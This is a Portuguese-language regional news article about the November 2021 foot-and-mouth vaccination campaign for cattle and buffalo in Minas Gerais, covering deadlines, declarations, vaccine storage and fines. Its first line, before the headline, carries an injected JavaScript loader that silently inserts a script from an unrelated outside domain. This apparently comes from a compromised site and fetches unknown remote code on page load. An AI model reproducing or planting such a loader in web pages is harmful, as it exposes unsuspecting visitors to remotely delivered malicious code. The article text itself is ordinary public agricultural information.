;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); Etapa de novembro da vacinação contra a febre aftosa começa nesta segunda (1º/11) em Minas. - Portal Carangola

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Etapa de novembro da vacinação contra a febre aftosa começa nesta segunda (1º/11) em Minas.

Foto: divulgação/IMA

Devem ser imunizados bovinos e bubalinos de zero a 24 meses.

Começa nesta segunda-feira (1°/11) a 2ª etapa anual de vacinação contra a febre aftosa em todo o território mineiro. Deverão ser imunizados bovinos e bubalinos com idade de zero a 24 meses. O Instituto Mineiro de Agropecuária (IMA), vinculado à Secretaria de Agricultura, Pecuária e Abastecimento (Seapa), fiscaliza a campanha junto aos produtores rurais e estabelecimentos revendedores de vacina. Nesta etapa, a expectativa é que sejam imunizados cerca de 10 milhões de animais em todo o estado com o objetivo de preservar a sanidade dos rebanhos e manter o compromisso com o agronegócio de Minas.

A campanha vai até 30 de novembro.  O produtor pode comprovar a vacinação dos animais usando o formato eletrônico de declaração que estará disponível em www.ima.mg.gov.br  ou, caso tenha cadastro, acessando o Portal de Serviços do Produtor.

Uma outra opção será o envio da declaração para o e-mail da unidade do IMA responsável pela jurisdição do município. O e-mail de cada unidade consta neste link http://ima.mg.gov.br/atendimento/nossas-unidades As declarações também podem ser realizadas pelo produtor de forma presencial nos postos de atendimento e conveniados ou presencialmente nos escritórios do IMA, observando as medidas de segurança para Covid 19. As unidades do IMA estão à disposição para quaisquer esclarecimentos.

O prazo para comprovar a vacinação termina em 10 de dezembro. Para facilitar a localização da propriedade, o IMA recomenda o envio do Cadastramento Ambiental Rural (CAR) no momento da declaração.

Nesta etapa deverá ser realizada a atualização cadastral das outras espécies de animais descritas no formulário de declaração (DCL) que estará disponível no site do IMA. A declaração realizada de forma virtual ainda não possui estes campos para descrever as outras espécies. Assim, caso o produtor opte em realizar a declaração de forma virtual, será necessário encaminhar para o e-mail da unidade a declaração de outras espécies em formulário específico disponível no site do IMA.

Parceria

O diretor-geral do IMA, Thales Fernandes, destaca a parceria dos produtores e das entidades representativas do setor para que bovinos e bubalinos de zero a 24 meses sejam vacinados e, com isso, o estado continue livre da doença. “Contamos, mais uma vez, com o apoio e a dedicação dos elos da cadeia produtiva para que o nosso estado alcance o índice de vacinação esperado. Peço o apoio dos produtores rurais mineiros, pois a vacinação é essencial para manter o rebanho de Minas sadio e livre de focos da doença. É muito importante cumprirmos o calendário oficial da vacinação”, reforça, informando que em 2022 está confirmada a campanha em todo o estado.

A primeira etapa da campanha realizada deste ano foi um sucesso, com 97,6% de bovinos e bubalinos vacinados contra a febre aftosa. Cerca de 355 mil produtores rurais imunizaram aproximadamente 24 milhões de animais nos rebanhos mineiros.

Estabelecimentos autorizados para revendas de vacinas

Thales Fernandes reforça a importância do trabalho das revendas no sentido de garantir o armazenamento adequado das vacinas, devendo comunicar imediatamente ao IMA qualquer intercorrência que possa comprometer a qualidade dos imunizantes. “O lançamento de vendas no sistema Sidagro deve ser feito com a maior agilidade possível, no mínimo uma vez ao dia, observando o estoque, o número de doses e as partidas comercializadas”, explica.

A responsabilidade da comercialização das vacinas é dos estabelecimentos autorizados da iniciativa privada. Esses estabelecimentos, que comercializam produtos de uso veterinário, devem ser registrados no IMA e estão sujeitos à fiscalização e às penalidades previstas.

Os estabelecimentos que comercializam produtos biológicos, em especial vacinas, devem, obrigatoriamente, utilizar câmara fria ou refrigerador industrial no acondicionamento desses produtos. Mais informações AQUI http://ima.mg.gov.br/defesa-animal/produtos-veterinarios

Saúde do rebanho

O fiscal do IMA Natanael Lamas lembra que a vacinação mantém a saúde do rebanho e o reconhecimento internacional de zona livre com vacinação, obtido pelo estado junto à Organização Mundial de Saúde Animal (OIE). “Este status favorece o agronegócio e o acesso a mercados internacionais, contribuindo de forma significativa para o Produto Interno Bruto (PIB) mineiro”, destaca Dias lembrando dos procedimentos corretos de vacinação que garantem eficácia na imunização dos animais. “A vacina de 2 ml deve ser adquirida em estabelecimento credenciado para a revenda vacina e deve ser conservada em temperatura entre 2 e 8 graus centígrados, do momento da compra até a vacinação dos animais. Recomenda-se também programar a aplicação para os horários mais frescos do dia”, sinaliza.

A febre aftosa é causada por um vírus, altamente contagioso e que pode trazer grandes prejuízos econômicos para os produtores, pois afeta o comércio internacional. “A doença é transmitida pela saliva, aftas, leite, sêmen, urina e fezes dos animais doentes, e também pela água, ar, objetos e ambientes contaminados. Uma vez doente, o animal pode apresentar febre, aftas na boca, lesões nas tetas e entre as unhas”, alerta.

Trânsito de animais

O Ministério da Agricultura, Pecuária e Abastecimento (Mapa), por meio da Instrução Normativa nº 48/2020, permite ao produtor rural a emissão da Guia de Trânsito Animal (GTA) imediatamente após vacinar e declarar a imunização de bovinos e bubalinos de seu rebanho.

O gerente de Defesa Sanitária Animal do IMA, Guilherme Costa Negro Dias,  esclarece as diretrizes gerais para a vigilância da febre aftosa sob a execução do Programa Nacional de Vigilância para a Febre Aftosa (PNEFA). “É importante ressaltar que não existe mais prazo de carência para a movimentação de animais após a vacinação contra febre aftosa. O que determina a condição sanitária do estabelecimento rural é a adimplência nas etapas de vacinação e atualização de cadastro de rebanhos”.

Além disso, durante a etapa de vacinação e até noventa dias após seu término, os animais destinados diretamente ao abate ficam dispensados da obrigatoriedade da vacinação contra febre aftosa.

Evite multas

O produtor que não vacinar os animais estará sujeito a multa de 25 Unidades Fiscais do Estado de Minas Gerais (Ufemgs) por animal, o equivalente a R$ 98,6 por cabeça. A declaração de vacinação também é obrigatória e o produtor que não o fizer até 10 de dezembro poderá receber multa de 5 Ufemgs, o equivalente a R$ 19,72 por cabeça.

Notificações de suspeitas de doenças

As notificações são acompanhadas pela Coordenação de Informação e Epidemiologia do IMA, que trabalha em conjunto com os programas sanitários orientando os fiscais do campo.

Cidadãos, produtores rurais e médicos veterinários de Minas podem notificar, de forma online, casos suspeitos de doenças e alta mortalidade em bovinos, bubalinos, equinos, caprinos, ovinos, suínos e aves no Sistema Brasileiro de Vigilância e Emergências Veterinárias (Sisbravet), uma plataforma digital do Ministério da Agricultura, Pecuária e Abastecimento (Mapa), que engloba os órgãos de defesa agropecuária do país agilizando os atendimentos e reduzindo os custos com perdas e tratamentos de animais para os pecuaristas. Já na ponta da cadeia produtiva, favorece a qualidade dos produtos aos consumidores estimulando acordos comerciais para o estado.

Consulte aqui a plataforma. http://www.ima.mg.gov.br/defesa-animal/notificacoes-informacoes-epidemiologicas

Outra forma de informar suspeitas de doenças é pelo whatsapp do Notifica IMA: (31) 8598.9611.

Plano Estratégico do Programa Nacional de Vigilância para a Febre Aftosa

O Plano Estratégico do PNEFA tem como objetivo principal criar e manter condições sustentáveis para garantir o status de país livre da febre aftosa, ampliando zonas livres da doença sem vacinação e protegendo o patrimônio pecuário nacional. Está alinhado com o Código Sanitário para os Animais Terrestres, da Organização Mundial de Saúde Animal (OIE), e com as diretrizes do Programa Hemisférico de Erradicação da Febre Aftosa (PHEFA), convergindo com os esforços para a erradicação da doença na América do Sul.

Minas compõe o Bloco IV junto com Bahia, Mato Grosso do Sul, Mato Grosso, Goiás, Espírito Santo, Rio de Janeiro, Sergipe, São Paulo, Tocantins e Distrito Federal. Esses estados buscam a retirada da vacinação contra a febre aftosa em seus rebanhos. Minas é zona livre de febre aftosa com vacinação e possui reconhecimento da Organização Mundial de Saúde (OIE), o que mantém importante acordos internacionais.

Divulgação

O Governo de Minas, por meio da Seapa e sua vinculada IMA, realizará ações pontuais e estratégicas para divulgar a campanha em todas as regiões do estado. Dentre os destaques, spots publicitários para rádios e vídeos informativos, além de posts nas redes sociais, cujos conteúdos informarão prazos, esclarecimentos e instruções sobre a vacinação contra a febre aftosa.

O compromisso dos pecuaristas mineiros na vacinação do rebanho bovino e bubalino, ao longo dos anos, têm contribuído para a corrida da conquista do novo status sanitário, que significa a futura retirada da vacinação contra a febre aftosa.

Instituto Mineiro de Agropecuária
Assessoria de Comunicação Social
Jornalista responsável: Rodolpho Sélos
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